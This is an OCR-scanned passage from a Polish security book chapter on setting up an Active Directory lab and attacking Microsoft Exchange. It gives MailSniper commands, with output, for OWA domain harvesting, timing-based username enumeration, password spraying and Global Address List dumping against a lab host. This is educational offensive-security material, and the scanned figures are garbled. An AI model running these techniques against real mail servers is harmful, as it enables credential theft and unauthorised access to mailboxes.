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Przygotowanie | .
laboratorium | 1
i atak na serwer
Microsoft Exchange

Ustuga katalogowa Windows Active Directory jest w wiekszo$ci przedsiebiorstw de
facto standardowym rozwigzaniem stuzacym do uruchamiania i obstugi sieci opartych
na systemie Windows. Chociaz scentralizowane zarzgdzanie zapewnia wygode, wpro-
wadza réwniez zagrozenia dla bezpieczenstwa. Prowadzac swoje dziatania, ztos$liwi
aktorzy planujg osiggna¢ okreslone cele, a naruszenie bezpieczenstwa ustugi Active
Directory moze im w tym pomdc. Domy$lna konfiguracja tej ustugi jest daleka od stanu,
w jakim mozna ja nazwac bezpieczna. Najlepszym sposobem na poznanie zabezpie-
czen ustugi Active Directory jest przeprowadzanie atakdw w bezpiecznym Srodowisku,
gdzie mozna prébowac wykry¢ niepozadane ztosliwe dziatania i im zapobiec.

W catej ksigzce skupimy sie na zabéjczym tanicuchu Active Directory, przeprowadzaniu
atakéw i prébach ich wykrywania, a takze zapobiegania im. W tym rozdziale oméwimy,
jak wdrozy¢ bezpieczny ,plac zabaw” dla takich dziatan. Bedziemy korzysta¢ z tego
laboratorium w catej ksigzce, dodajac z czasem kolejne ustugi, ktére zostang omo-
wione w odpowiednich rozdziatach traktujacych o ustugach certyfikatéw w Active
Directory (AD CS), serwerze SQL i ustudze aktualizacji systemu Windows Server
(WSUS) oraz o menedzerze konfiguracji centrum systemowego (SCCM).

Naszym pierwszym praktycznym celem bedzie serwer Microsoft Exchange. To ztoZzony
produkt stuzacy do wspoétpracy wielu uzytkownikéw i jest znacznie bardziej zaawan-
sowany niz zwykly serwer e-mail. Z punktu widzenia bezpieczenstwa jest to cenny cel,
poniewaz to krytyczny element infrastruktury, do ktérego mozna uzyska¢ dostep
z internetu. Lokalny serwer Exchange jest $cisle powiazany z ustuga Active Directory
i czesto ma przyznany wysoki poziom uprawnien.

W tym rozdziale omdwimy nastepujgce gtéwne tematy:
B Architektura i wdroZenie laboratorium

B Zabdjczy tancuch ustugi Active Directory
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B Dlaczego poczatkowy dostep i tematy zwigzane z hostem nie zostaty
uwzglednione?

B Atakowanie serwera Exchange

Wymagania techniczne

W tym rozdziale bedziesz musiat mie¢ dostep do nastepujacych zasobow:

B VMware Workstation lub Oracle VirtualBox z co najmniej 16 GB pamieci
RAM, 10 rdzeniami CPU i co najmniej 115 GB przestrzeni dyskowej
(wiecej w przypadku wykonywania migawek)

B Zdecydowanie zalecany jest system operacyjny hosta oparty na systemie
Linux

B QOprogramowanie Vagrant zainstalowane z pluginem dla odpowiedniej
platformy wirtualizacji oraz z silnikiem automatyzacji — Ansible

Architektura i wdrozenie laboratorium

Nawet je$li tworzenie i wdrazanie laboratorium testowego moze by¢ zniechecajace
i czasochtonne, jest to wazny krok przygotowawczy przed przystapieniem do emulacji
ataku. MITRE ATT&CK ma dedykowang taktyke dla tego dziatania — Resource Deve-
lopment (rozwijanie zasobow).

Dostepnych jest kilka darmowych, ale poteznych projektéw do zautomatyzowanego
wdrazania w laboratoriach. Mozesz wybra¢ dowolny z nich w zalezno$ci od zasobéw
Twojej stacji roboczej i samodzielnie replikowac¢ luki w zabezpieczeniach. Na przyktad
istnieje prowadzony przez zespo6t ds. badan nad zagrozeniami Splunk (ang. Splunk
Threat Research Team) bardzo dobry projekt open source o nazwie Splunk Attack Range
(zakres atakow Splunk [1]), w ktérym mozna szybko wdrozy¢ mate laboratorium do
przeprowadzania symulacji atakdw. W ksigzce wykorzystam jednak dwa inne projekty.

Pierwszym projektem, z ktérego bede korzysta¢ w catej ksigzce, jest laboratorium
GOADv2 stworzone przez Orange Cyberdefense [2]. Do jego wdrozenia potrzebny
bedzie system operacyjny oparty na systemie Linux z zainstalowanym oprogramowa-
niem VMware Workstation lub Oracle VirtualBox. Mozliwe jest réwniez wdrozenie
laboratorium na platformie wirtualizacyjnej Proxmox, jak pokazat Mayfly na swoim
blogu [3]. Wdrozenie jest proste i dobrze opisane w pliku README.md znajdujacym
sie w repozytorium. Caly proces sktada sie z dwoch czes$ci i zajmie okoto 3 - 4 godzin
w zalezno$ci od szybkoSci potaczenia internetowego. Vagrant utworzy maszyny wir-
tualne, a playbooki silnika Ansible skonfiguruja i wdroza niezbedne ustugi, uzytkowni-
kéw i podatnosci. Aby przyspieszy¢ proces wdrazania w pliku Vagrant, mozemy zmie-
ni¢ zmienna box_version wszystkich maszyn serwera SRV na te, ktéra jest juz na liscie,
dzieki czemu tylko dwa obrazy zostang pobrane i wykorzystane do dalszego wdrazania.
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Uzyje VMware Workstation 16 zainstalowanego na najnowszej wersji systemu opera-
cyjnego Arch Linux. Po wykonaniu instalacji zgodnie z instrukcjg koficowy komunikat
powinien wygladac¢ jak na rysunku 1.1.

TASE [VULAS/0Penshares : AlL SHar@m] &%= @@ s e s e s s s oo s o o o o a8 e A AN R RSN

PLAY RECAD +ébhssssssiisssssbbbbsbasass

unreachabla=0 failad=0 rascuad=0 ignorad=0
unreachable=0 failed=0 rescued=0 ignored=0
unreachable=0 faileds=0 rescued=0 ignoreds=0
unreachable=0 failed=0 rescued=0 ignored=0
unreachable=0 failed=0 sk ipped rescuad=0 ignored=0

Rysunek 1.1. Pomysiny wynik wdrozenia laboratorium GOAD

Drugim repozytorium, z ktérego bede korzystat w niektérych rozdziatach, jest impo-
nujacy projekt DetectionLab, stworzony przez Chrisa Longa [4]. Niestety nie jest on
juz utrzymywany, ale nadal doskonale pasuje do naszych celéw. Zaleta tego laborato-
rium jest to, ze zapewnia nam szeroka game opcji wdrazania, w tym platformy chmu-
rowe i wszystkie nowoczesne hiperwizory typu bare-metal. Co wiecej, to laboratorium
ma zainstalowane narzedzia do wykrywania atakéw (Sysmon, Velociraptor, Micro-
soft ATA itp.). Instalacja jest prosta. Skrypt powtoki przygotowawczej pomoze ziden-
tyfikowac¢ brakujgce pakiety oprogramowania, a Vagrant zrobi reszte. Caty proces zaj-
mie 1 - 2 godzin w zalezno$ci od sieci i komputera. Rysunek 1.2 pokazuje pomy$lne
wykonanie skryptu przedwdrozeniowego, co oznacza, ze mozemy uruchomi¢ nasze
laboratorium DetectionLab.

vinagrapiarchl
[+] Cheeking fo
[#] Packer waa
[¥] Vagrant was found in your PATH
[+] Your version of Vagrant (2.2.1%) is supported
[#] Curl was found in your PATH

ant|s ./prapara.sh
in PATH...

[+] Checking if any boxes have been manually built...
[#] Wo custom built boxes found

[+] Checking for disk free space...
I#] You have more than BOGR of free space on your primary partition

[+] Cheeking if any Vagrant instances have been created. ..

You sppesr Lo have already created at leaat one Vagrant instance:

logger n running (vmware_desktop)
de not running (vmware_desktop)
wef not running (vmware_desktop)
winld not running (vmware_desktop)

If you want to start with a fresh install, you should run "wagrant destroy —£ to remove existing instances.

[+] Checking if the vagrant-reload plugin is installed...
#] The vagrant-reload plugin is currently installed

[+] Enumarating availabla providers...
o VBoxManage in [/use/local/bin:/use/bin: /usc/local/abin: fuss/1ib/ jvn/default /bin: fuse/bin/slte_perl: fusc/bin/vendor_perl:/fuss
w_perl)
Avallable Providers:

I mware_desktop

To get started building Detectionlab, run "“wvagrant up’.

1f you run inte any issues aleng the way, check out the troubleshooting and known issues page:
https://www.detectionlab.network/deployment/troubleshooting/

[vinegropiarchlinue Vagrantls

Rysunek 1.2. Wynik pomysinego wykonania pliku prepare.sh

Przedstawiony na rysunku 1.3 schemat projektu GOADv2 zostatl zaczerpniety z repo-
zytorium GitHuba, utrzymywanego przez tworce laboratorium.
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Rysunek 1.3. Schemat projektu GOADv2

To laboratorium ma dwa lasy domen (sevenkingdoms.localiessos.local) z ustanowio-
nym zaufaniem oraz domeny podrzedne (sevenkingdoms.local i north.sevenkingdoms.
“>local). Zaufanie w ustudze katalogowej Active Directory skutecznie umozliwia bez-
pieczny dostep do zasobu z zaufanej domeny przez zaufang jednostke domeny. Serwer
Microsoft SQL zostanie wdrozony w obu lasach domen za pomocg zaufanego linku usta-
nowionego pomiedzy instancjami. Na jednym z serwerdw zostang réwniez zainstalo-
wane internetowe ustugi informacyjne (ang. Internet Information Services — 11S). Ustuga
certyfikatow w Active Directory (AD CS) zapewnia wymagang infrastrukture certyfika-
tow cyfrowych, aby firma mogta korzysta¢ z kryptografii opartej na kluczu publicz-
nym. Certyfikaty te moga by¢ wykorzystywane do réznych celéw, takich jak uwie-
rzytelnianie, szyfrowanie i podpisywanie dokumentéw i/lub wiadomosci. W naszym
laboratorium znajduje sie przeznaczony do tego serwer, na ktérym bedziemy mogli
emulowac ataki na AD CS. Wiekszo$¢ miejsc atakow zostata juz wprowadzona przez
twérce laboratorium w srodowisku, ale jesli bedziemy musieli co$ doda¢ lub popra-
wi¢, zostanie to wspomniane i przedstawie odpowiednie wytyczne krok po kroku
— na przyktad dotyczace instalacji WebClient lub wdrozenia grupowych kont ustug
zarzadzanych (ang. Group Managed Service Accounts — gMSA).

W nastepnym podrozdziale omédwione zostang typowe podejscia stosowane podczas
atakowania dowolnego celu, w tym ustugi katalogowej Active Directory.

Zabojczy tancuch ustugi Active Directory

Czym jest ustuga katalogowa Active Directory? Méwigc najprosciej, jest to hierarchicz-
nie zorganizowany magazyn informacji o obiektach. Jedng z gtéwnych zalet jest to,
ze Active Directory umozliwia scentralizowane uwierzytelnianie obiektow i zarzadza-
nie nimi. Oméwmy teraz pokrétce, czym jest Cyber Kill Chain (cybernetyczny zabojczy
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tanicuch). Framework ten zostat opracowany przez firme Lockheed Martin i ma woj-
skowe korzenie. Jest to koncepcja, ktéra pozwala na identyfikowanie struktury ataku.
Mozemy dostosowac koncepcje Cyber Kill Chain do ustugi Active Directory, jak poka-
zano na schemacie pobranym od infosecn1nja na GitHubie [5]. Cyber Kill Chain sktada
sie z kilku etapdw, ale zawsze odbywa sie w tym samym cyklu — rozpoznanie, naru-
szenie bezpieczenstwa, ruchy boczne — tylko z bardziej uprzywilejowanym dostepem
(rysunek 1.4).

Ranma nie w roli Administratora

Roxpozna.me zasobow
Idalne Cykl ruchu bocznegu
wikorarie uprawniefi
ko

& s

Lokana eskalach
hiwmw"\mﬂs od»mwrx uprmrn

Rysunek 1.4. Zahéjczy tancuch w ustudze katalogowej Active Directory

Niniejsza ksigzka koncentruje sie wytacznie na infrastrukturze opartej na systemie
Windows i jego ustugach, wiec tematy takie jak lokalna eskalacja uprawnien na hoscie,
poczatkowy dostep i zewnetrzna rekonfiguracja sg poza omawiang tutaj tematyka.
Pokrétce wyjasnie powody tej decyzji w dedykowanej sekcji tego rozdziatu. Ponizej
znajduje sie lista tematdw, ktére zostang omdéwione w odpowiednich rozdziatach:

B Serwer Microsoft Exchange
B Unikanie obrony
Wewnetrzne rozpoznanie
Dostep do poswiadczen
Ruch boczny

Eskalacja uprawnien
Przetrwanie

AD CS

Serwer Microsoft SQL
WSUS

Microsoft SCCM

W tej ksigzce skupiamy sie na atakowaniu Srodowiska ustugi katalogowej Active Direc-
tory i wspolnych ustug opartych na systemie Windows, a nie na operacjach zespotu
czerwonych. Wynika to z faktu, Ze operacje zespotu czerwonych czesto majg cele biz-
nesowe, a nie stuza znajdowaniu i wykorzystywaniu do wpuszczania eksploitow
wszystkich mozliwych luk w Active Directory i ustugach. Warto wspomnie¢, ze w zalez-
nosci od docelowego Srodowiska, zakresu i poziomu uprawnien uzyskanych podczas
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poczatkowego dostepu nie zawsze konieczne jest narazenie na szwank bezpieczenistwa
kazdego celu. Na przyktad uzyskanie dostepu do danych finansowych firmy nie wymaga
uprawnien administratora domeny, ale w niektdérych przypadkach takie uprawnienia
moga by¢ pomocne. Omoéwimy wykrywanie atakéw i mozliwe do zastosowania $rodki
zapobiegawcze, a takze ofensywne bezpieczenstwo operacyjne (ang. Operational Secu-
rity — OpSec). Méwigc najprosciej, bezpieczenstwo operacyjne odnosi sie do tego, jak
wiele Twoich dziatan moze zosta¢ wykrytych przez przeciwnika. Jest to miecz obo-
sieczny, co oznacza, ze ma zastosowanie zaréwno do dziatan ofensywnych, jak i defen-
sywnych oraz sposobdw na oszukanie przeciwnika.

Dlaczego nie zajmiemy sie
dostepem poczatkowym
I tematami zwigzanymi z hostami?

Dostep poczatkowy jest istotny na wczesnym etapie, majacym na celu naruszenie bez-
pieczenstwa srodowiska docelowego. Jednakze zagadnienie to nie bedzie oméwione
w tej ksigzce z nastepujacych powodoéw. Szczerze moéwiac, temat ten jest tak szeroki,
jak gteboki. Wymaga przekrojowej wiedzy z réznych dziedzin informatyki, a takze psy-
chologii, wiec wymagatoby to osobnej ksigzki. Ponadto istnieje duze prawdopodo-
bienstwo, ze w momencie publikacji takiej ksigzki potowa wektoréw atakéw zostanie
wyeliminowana z powodu wdrazania rozwigzan bezpieczenstwa, takich jak wykry-
wanie i reagowanie na punkty koncowe (ang. Endpoint Detection And Response —
EDR), i/lub zostanie objeta kompleksowymi mozliwo$ciami wykrywania przez zesp6t
niebieskich. Powodem jest rowniez fakt, ze dziedzina ta szybko sie rozwija i jest petna
prywatnych badan, ktére nie sa publikowane. Ogélnie rzecz biorac, aby uzyskac sta-
bilny poczatkowy dostep do sSrodowiska docelowego, nalezy zadbac o trzy gtéwne rze-
czy — odporna i bezpieczng infrastrukture ataku, ukryte narzedzia o pozadanych moz-
liwosciach oraz skuteczne unikanie obrony.

Aby unikngé bolesnych btedéw popeianych podczas recznego wdrazania, korzysta-
nie z automatyzacji, oferowanej przez narzedzia takie jak Terraform i Ansible, moze
pomoc w zbudowaniu odpornej infrastruktury atakujacego. Wigze sie to jednak z poswie-
ceniem czasu i spelnieniem wymagan dotyczacych skryptéw i umiejetnosci admini-
stratora systemu. Jednym z najlepszych zasobdw do rozpoczecia takiego tematu jest
wiki na platformie GitHub [6]. Infrastruktura musi by¢ odpowiednio zaprojekto-
wana. Musi by¢ wyposazona w wiele przekierowan dla réznych protokotéw, zabez-
pieczona i wzmocniona oraz poprawnie skategoryzowana, jesli phishing i filtrowanie
serwerOw proxy s czescia tej gry.

Ukryte narzedzia, techniki unikania wykrycia oraz samo wykrywanie to niekoniczaca
sie walka o dominacje miedzy sprawnymi zespotami niebieskich, Centrami Operacji
Bezpieczenstwa (SOC) i dostawcami ustug z zakresu bezpieczenstwa, wykrywania
atakéw i reagowania w punktach koncowych (ang. security/EDR) z jednej strony,
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a ofensywnymi badaczami bezpieczenstwa wspoétpracujacymi z zespotami czerwonych
z drugiej. Swietna notatka [7] Jordana Pottiego na temat wysitkéw zespotéw czerwo-
nych i zagadnienia zwrotu z inwestycji (ROI) w toku walki z EDR-ami jest rowniez
jednym z powodéw, dla ktorych nie zajmuje sie tym tematem i skupiam sie tylko na
infrastrukturze opartej na systemie Windows i Active Directory. Nie wierze, ze moz-
liwe jest napisanie kompleksowej ksigzki o zespole czerwonych, ktéra dogtebnie oma-
wiataby kazdy temat.

Poniewaz nasza ksigzka koncentruje sie na koncepcjach bezpieczenstwa ustugi kata-
logowej Active Directory, bedziemy postepowac zgodnie z podej$ciem zaktadajqcym,
Ze nastgpito wltamanie do systemu. Swietna prezentacja, ktéra pomaga wyjasni¢ ten
model [8], zostata stworzona przez Red Siege w 2019 roku. W naszym przypadku
zaktadamy, Ze naruszyliSmy bezpieczenstwo standardowego uzytkownika domeny.
Wszystkie dalsze kroki bedg wykonywane w kontekscie tego uzytkownika. Zaktadamy
réwniez, ze nasz poczatkowy przyczoétek jest ukryty i nie jest wykrywany przez EDR/
antywirusa ani zaden inny produkt zabezpieczajgcy. Wszystkie dalsze dziatania, w tym
ruch sieciowy i wygenerowane dzienniki zdarzen, sg jednak uwazane za monitoro-
wane przez zesp6t niebieskich. W dalszych rozdziatach tej ksigzki, jesli niektére dzia-
tania wymagaja pewnych uprawnien, takie uprawnienia zostang szczegétowo wy-
mienione.

Nastepny podrozdziat jest wreszcie bardziej praktyczny i nastawiony na ¢wiczenia.
Oméwimy i odtworzymy ataki na serwer Exchange przy uzyciu réznych scenariuszy.

Atakowanie serwera Exchange

Serwer Exchange to serwer przeznaczony do wspotpracy, opracowany przez firme
Microsoft. Pomimo Ze coraz wiecej firm przenosi sie do chmury Office 365, nadal ist-
nieje duze prawdopodobienstwo, ze spotkasz sie z wdrozeniem lokalnym. Exchange
ma wiele przydatnych funkcji dla uzytkownikéw koncowych, ale niezwykle trudno
jest je wszystkie bezpiecznie rozwija¢. W ostatnich latach opublikowano wiele badan
ujawniajacych krytyczne podatnosci w jego réznych komponentach. Co wiecej, tatki od
Microsoftu nie zawsze catkowicie usuwaty te luki, co oznaczato, ze przeciwnicy proé-
bowali opracowac¢ jednodniowy eksploit poprzez inzynierie wsteczng tatki i byli
w stanie znalez¢ odpowiednie obejscie. Bioragc pod uwage to, Ze czasami firmy nie sa
w stanie zareagowa¢ w odpowiednim czasie na tak szybko zmieniajace sie sytuacje,
prawdopodobienstwo zostania ofiarg ataku czerwonych jest do$¢ wysokie.

Ale jakie korzysci dla przeciwnika ptyna z ataku na serwer Exchange? Po pierwsze,
udane przejecie daje dostep do skrzynek pocztowych kazdego uzytkownika na tym
serwerze. Moze to nastepnie przeksztatci¢ sie w wewnetrzng kampanie phishingows,
ujawnienie poufnych danych i zbieranie haset w wiadomosciach e-mail. Po drugie, konta
ustugi Exchange mogg dziata¢, majac przyznane wysokie uprawnienia, w tym admini-
stratora domeny, co umozliwia przejecie peinej domeny.
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Aby oceni¢ bezpieczenstwo serwera Exchange, mozemy doda¢ go do repozytorium
DetectionLab; najlepiej jednak bedzie, jezeli wdrozysz ten serwer u siebie. Zeby uru-
chomic¢ serwer Exchange, wystarczy uruchomi¢ nastepujace polecenia, z zatozeniem,
Ze uzywasz systemu Linux:

cd /opt/DetectionLab/Vagrant/Exchange

vagrant up exchange

W przypadku napotkania jakichkolwiek probleméw podczas wdrazania dzienniki
mozesz tatwo znalez¢ w folderze C:\exchange2016 (rysunek 1.5).

| 4] || = | exchange2016 - O X
“ Home Share View o
& “ « Windows 2016 (Ct) » exchange2018 v | 0 Search exchange2(6 L2

Name - Date modified Type Size

7 Cuick access 3 )
B Desktop .__j stepl.bt Text Document 1 i\.B
\=| steplstderr.bdt Text Document O KB
; Rl =] steplstdout.bet Text Docurnent 1 KB
=] Documents 5| step2ta Text Document 1KB
&=/ Pictures o =] step2stderr.tit Text Document 0 KB
exchange2016 =] step2stdout.tit Text Document 1KB
tmp _| step3. Text Document 1 KB

\=| step3stderr.bit Text Document D KB

£ This PC =] step3stdout.be Text Document 2 KB

Rysunek 1.5. Lokalizacja dziennikow dla wdrozenia serwera Exchange

Serwer Exchange umozliwia zdalny dostep za posrednictwem protokotéw takich jak
Exchange Web Services (EWS), Exchange ActiveSync (EAS), Outlook Anywhere i MAPI
po protokole HTTP. Ustuga AutoDiscover pomaga pobra¢ konfiguracje serwera
Exchange, ustawienia skrzynki pocztowej, obstugiwane protokoty i adresy URL ustug.
Informacje te mozesz znaleZ¢ w pliku autodiscover.xml w katalogu wirtualnym auto-
discover. Aplikacja webowa Outlooka (ang. Outlook Web Application — OWA) to
webowy klient poczty e-mail posiadajgcy minimalng funkcjonalno$¢. Dostep do tego
klienta mozna uzyska¢ za pomoca przegladarki bez instalowania programu Outlook.
Globalna lista adreséw (ang. Global Address List — GAL) to lista wszystkich obiektow
obstugujacych poczte w lesie domen ustugi katalogowej Active Directory. Dwa kolejne
pojecia, ktére omdwimy, to reguty i formularze programu Outlook. Reguty to akcje uru-
chamiane automatycznie przez program Outlook dla systemu Windows w przypadku
przychodzacych/wychodzacych wiadomosci e-mail. Tworzymy wyzwalacz i akcje. Naj-
pierw wykonywane sg reguty po stronie serwera, a nastepnie po stronie klienta. For-
mularze Outlooka zapewniajg uzytkownikom i/lub organizacjom opcje dostosowywa-
nia wiadomo$ci e-mail, takie jak autouzupetnianie niektorych p6l lub tekstu szablonu.

W tej sekcji oméwimy narzedzia i techniki enumeracji uzytkownikéw i rozsiewania
haset, wyodrebnianie adreséw e-mail z list GAL i ksigzki adresowej offline (ang.
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Offline Address Book — OAB) lub przy uzyciu interfejsu dostawcy ustug nazewnictwa
(ang. Name Service Provider Interface — NSPI), publiczne eksploity typu ,wskaz i klik-
nij”, eksfiltracje wrazliwych danych oraz niektére techniki uzyskania przyczétka w $ro-
dowisku docelowym za poérednictwem oprogramowania klienckiego. Swietna mapa
mysli do atakowania serwera Exchange na jego obrzezach zostata stworzona przez te
sama firme, ktora stworzyta laboratorium GOADv2. Mapa ta jest dostepna na platfor-
mie GitHub [9].

Naszym pierwszym praktycznym zadaniem jest enumeracja uzytkownikéw i préba
uzyskania prawidtowego zestawu danych uwierzytelniajacych poprzez przeprowa-
dzenie ataku polegajacego na rozsiewaniu hasel (ang. password spraying).

Enumeracja uzytkownikéw i rozsiewanie haset

Ataki polegajgce na rozsiewaniu haset wymagaja enumeracji uzytkownikéw. Po pierw-
sze, musimy utworzy¢ liste z mozliwymi nazwami uzytkownikéw, a nastepnie enume-
rowac nazwe domeny Active Directory. Po drugie, musimy enumerowac istniejgcych
uzytkownikow za posrednictwem OWA i przeprowadzi¢ atak polegajacy na rozsiewa-
niu hasel. Aby wykona¢ te czynnosci, uzyjemy narzedzia MailSniper [10]. Pierwszy
krok mozna zrobi¢ przy uzyciu technik Open Source Intelligence (OSINT), przepro-
wadzajac rekonesans DNS, wykorzystujac zaawansowane operatory wyszukiwania
w wyszukiwarkach i wykonujac tzw. scrapping mediéw spotecznos$ciowych oraz
zewnetrznych zasob6w firmy. Dostepnych jest wiele narzedzi otwartozrédtowych
(ang. open source) stuzacych do wykonywania tych czynnosci na réznych etapach ich
cyklu deweloperskiego. Jesli adresy e-mail sa opublikowane na zewnetrznych stronach
internetowych, atakujacy moga mie¢ szczescie, znajdujac format adresu, taki jak
surname.name@company.com lub name.surname@company.com. Istnieje réwniez
witryna https://hunter.io/, ktéra moze pomdc w znalezieniu najpopularniejszego for-
matu e-mail uzywanego w firmie. Jesli mamy tylko ogdlne adresy, takie jak info, secu-
rity, GDPR, mozemy sprobowacé uzy¢ skryptu, na przyktad namemash [11] i/lub Email
>AddressMangler [12], ktéry moze stworzy¢ liste wszystkich mozliwych permutacji
nazwy uzytkownika. Po tym kroku atakujacy bedzie miat liste potencjalnych uzytkow-
nikow, ktérzy musza zosta¢ zweryfikowani. Teraz trzeba znalez¢ nazwe domeny za
pomoca funkcji DomainHarvestOWA dostepnej w programie Mai1Sniper. Ma ona dwie opcje
uzyskania poprawnej nazwy domeny. Jedng z nich jest wyodrebnienie nazwy z nagtéwka
WWW-Authenticate zwrdconego w odpowiedzi serwera po wystaniu zadania do https://
mail.target.com/autodiscover/Autodiscover.xml i https://mail target.com/EWS/Exchange
.asmx. Drugg opcja jest pozyskanie nazwy metoda sitowa (ang. brute-force) przy uzy-
ciu dostarczonej listy domen. Zadania zostang wystane na adres https://mail.target
.com/owa/ i zostanie obliczony czas odpowiedzi. Zgdanie zawierajace nieprawidtowa
domene ma znacznie krotszy czas odpowiedzi niz prawidtowe. Najwyrazniej nazwa
uzytkownika nie ma wplywu na opdZnienie. Wyprébujmy to dziatanie rozpoznawcze:

Invoke-DomainHarvestOWA -ExchHostname 192.168.56.106

Wynik uruchomienia poprzedniego polecenia mozna znaleZ¢ na rysunku 1.6.
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C:\Tools\MailSniper > Invoke-DomainHarvestOWA
*] Harvesting domain name from the serwver at 192.168.56.186

The domain appears to be: windomain.local

Rysunek 1.6. Wykrywanie nazwy FQDN serwera pocztowego

Po okresleniu nazwy domeny nastepnym krokiem jest enumeracja uzytkownikow. To
technika enumeracji oparta wytacznie na czasie. Mai1Sniper oblicza rdznice czasu mie-
dzy odpowiedziami na préby uwierzytelnienia. Po znalezieniu prawidtowej nazwy uzyt-
kownika czas odpowiedzi bedzie znacznie krétszy:

Invoke-UsernameHarvestOWA -UserList .\user.txt -ExchHostname 192.168.56.106
>-Domain windomain.local -OutFile found.txt

Wynik enumeracji mozesz znalez¢ na rysunku 1.7.

PS C:\Tools\MailSniper > Invoke-UsernameHarvestOWA .\user.txt
192.168.56.106 windomain.local found . txt

[*] Now spraying the OWA portal at https://192.168.56.106/owa/
Determining baseline response time...
Response Time (MS) Domain\Username

windomain.local\paDYBN

windomain.local\rzqCAJ

windomain.local\YaBLWF

windomain.local\euVmKU

windomain.local\LTYcKO

Baseline Response: 747.4

hreshold: 448.44
Domain\Username
windomain.local\F1lvdYg
windomain.local\jQChik
windomain.local\hblMIZ
windomain.local\swZJrV
windomain.local\ZWekKo
windomain.local\vinegrep
Potentially Valid! User:windomain.local\vinegrep
windomain.local\Administrator
Potentially Valid! User:windomain.local\Administrator
windomain.local\joe.doe
windomain.local\doe. joe
windomain.local\jdoe
[*] A total of 2 potentially valid usernames found.
Results have been written to found.txt.

Rysunek 1.7. Pomysina enumeracja uzytkownikow przy uzyciu OWA

ByliSmy w stanie znalez¢ dwéch uzytkownikow — Administrator i vinegrep. Teraz prze-
prowadzmy atak polegajacy na rozsiewaniu haset na OWA. W tym scenariuszu narze-
dzie rozsieje pojedyncze hasto na dostarczong liste nazw uzytkownikow:

Invoke-PasswordSprayOWA -ExchHostname 192.168.56.106 -UserList
<> .\found.txt -Password Qwertyl23! -OutFile creds.txt
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Udato nam sie uzyska¢ prawidtowy zestaw poswiadczen dla uzytkownika vinegrep
(rysunek 1.8).

PS C:\Tools\MailSniper > Invoke-PasswordSprayOwWA .\found.txt
192.168.56.186 Qwerty123! creds.txt
Now spraying the OWA portal at https://192.168.56.166/owa/
Current date and time: ©4/18/2623 22:19:16
*] A total of 1 credentials were obtained.
ults have been written to creds.txt.

]
[*]
[*] SUCCESS! User:windomain.local\vinegrep Password:Querty123!
[*]
Res

Rysunek 1.8. Prawidiowy zestaw poswiadczen znaleziony dla uzytkownika vinegrep

Atak polegajacy na rozsiewaniu haset mozna réwniez przeprowadzi¢ przeciwko EWS
za pomocg funkcji MailSniper Invoke-PasswordSprayEWS. Wazne jest, aby pamietac, ze
uzyskany zestaw prawidlowych poswiadczen nie zapewni dostepu, jesli wymuszone
jest uwierzytelnianie wieloskltadnikowe (ang. Multi-Factor Authentication — MFA).
Uwierzytelnianie wielosktadnikowe MFA bedzie wymaga¢ innego sktadnika, ktérym
moze by¢ wszystko, poczawszy od aplikacji uwierzytelniajacej na telefonie po token
zabezpieczajgcy USB lub inny rodzaj zamaskowanego hasta. Jak kazdy srodek bezpie-
czenstwa, uwierzytelnianie wieloskladnikowe MFA mozna omingé, jesli jest Zle skon-
figurowane lub przeciwnik podpusci uzytkownika do wykonania drugiego kroku uwie-
rzytelniania zamiast wszystkich krokéw.

Nastepnym krokiem jest maksymalne wykorzystanie tego waznego zestawu poswiad-
czen i dostepu do skrzynki pocztowej. W nastepnym podrozdziale dowiemy sie, jak
zrzuci¢ zawartos¢ ksigzki adresowej i eksfiltrowa¢ poufne dane.

Zrzut danych i eksfiltracja

Zaktadajac, ze uwierzytelnianie wielosktadnikowe MFA zostato ominiete lub nie zostato
wymuszone, a przeciwnik pomyslnie zalogowat sie do skrzynki pocztowej ofiary, to
jakie beda kolejne kroki? Istnieje kilka mozliwych scenariuszy. Po pierwsze, atakujgcy
moze przejrze¢ wiadomosci e-mail; by¢ moze znajduja sie w nich niektére wrazliwe
informacje wewnetrzne, w tym hasta, certyfikaty, dokumenty i adresy punktéw konco-
wych. Poniewaz jestes specjalista ds. bezpieczenistwa, zanim to zrobisz, upewnij sie,
zZe jest to zgodne z zasadami zaangazowania. Ostatnig rzecza, jaka powiniene$ robi¢,
jest uzyskiwanie nieautoryzowanego dostepu do poufnych danych klienta.

Po drugie, atakujacy moze przeprowadzi¢ wewnetrzng kampanie phishingowa.
Wewnetrzne zasady przetwarzania wiadomosci e-mail mogg by¢ bardziej ztagodzone
z punktu widzenia bezpieczenistwa — na przyktad zataczniki moga by¢ dozwolone.
Ponadto taka kampania ma znacznie wyzszy wskaznik sukcesu, poniewaz uzytkow-
nicy beda bardziej sktonni do otwarcia zatgcznika/klikniecia linku od wspétpracow-
nika lub menedzera. Ale nadal nie jest to gwarancja sukcesu, gdyz nie mamy kontroli
nad mediami innymi niz e-mail. Mozemy wysta¢ wiadomo$¢ do kolegi ofiary, udajac, ze
rozmawiamy o czyms dotyczacym zycia osobistego. Musisz jednak wzig¢ pod uwage
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réwniez aspekt moralny. W zalezno$ci od kultury i zasad obowigzujacych w danej fir-
mie uzytkownik moze straci¢ prace.

Po trzecie, mozemy wyodrebni¢ wszystkie adresy e-mail firmy i niektdre informacje
o Active Directory bez ujawniania zawartos$ci skrzynki pocztowej. Jest to mozliwe
poprzez zrzut danych (ang. dump) z list GAL lub ksiazki OAB albo poprzez naduzycie
interfejsu NSPI. Wyodrebnijmy dane z GAL za posrednictwem naruszonego konta przy
uzyciu narzedzia MailSniper. Modut ten taczy sie z OWA i wykorzystuje metode Find
>People do zbierania adreséw e-mail. Metoda ta jest dostepna od wersji 2013 serwera
Exchange i wymaga wartoS$ci AddressListId z adresu URL GetPeopleFilters:

Get-GlobalAddressList -ExchHostname 192.168.56.106 -UserName
>windomain.local\vinegrep -Password Qwertyl23! -QutFile gal.txt

Pomys$lne wyodrebnienie danych z list GAL mozesz zobaczy¢ na rysunku 1.9.

Rysunek 1.9. Wyodrebnienie danych z list GAL

Majac juz nowo znalezione adresy e-mail, moZemy wznowi¢ nasz atak polegajacy na
rozsiewaniu haset.

Innym sposobem na dokonanie zrzutu adreséw e-mail wszystkich uzytkownikéw ser-
wera Exchange jest pobranie plikow OAB. Waznym zastrzezeniem jest to, Ze wyma-
gana jest ekstrakcja podstawowego adresu e-mail istniejgcego uzytkownika, a takze
dowolnego waznego konta domeny. Kroki sg nastepujace:

1. Wyslij zadanie sieciowe do punktu koncowego autodiscover, aby pobrac plik
autodiscover.xml.

2. Wyszukaj warto$¢ 0ABUr1 w odpowiedzi, ktora jest Sciezka do katalogu z plikami
OAB. Nie przegap innych przydatnych informacji, takich jak identyfikator
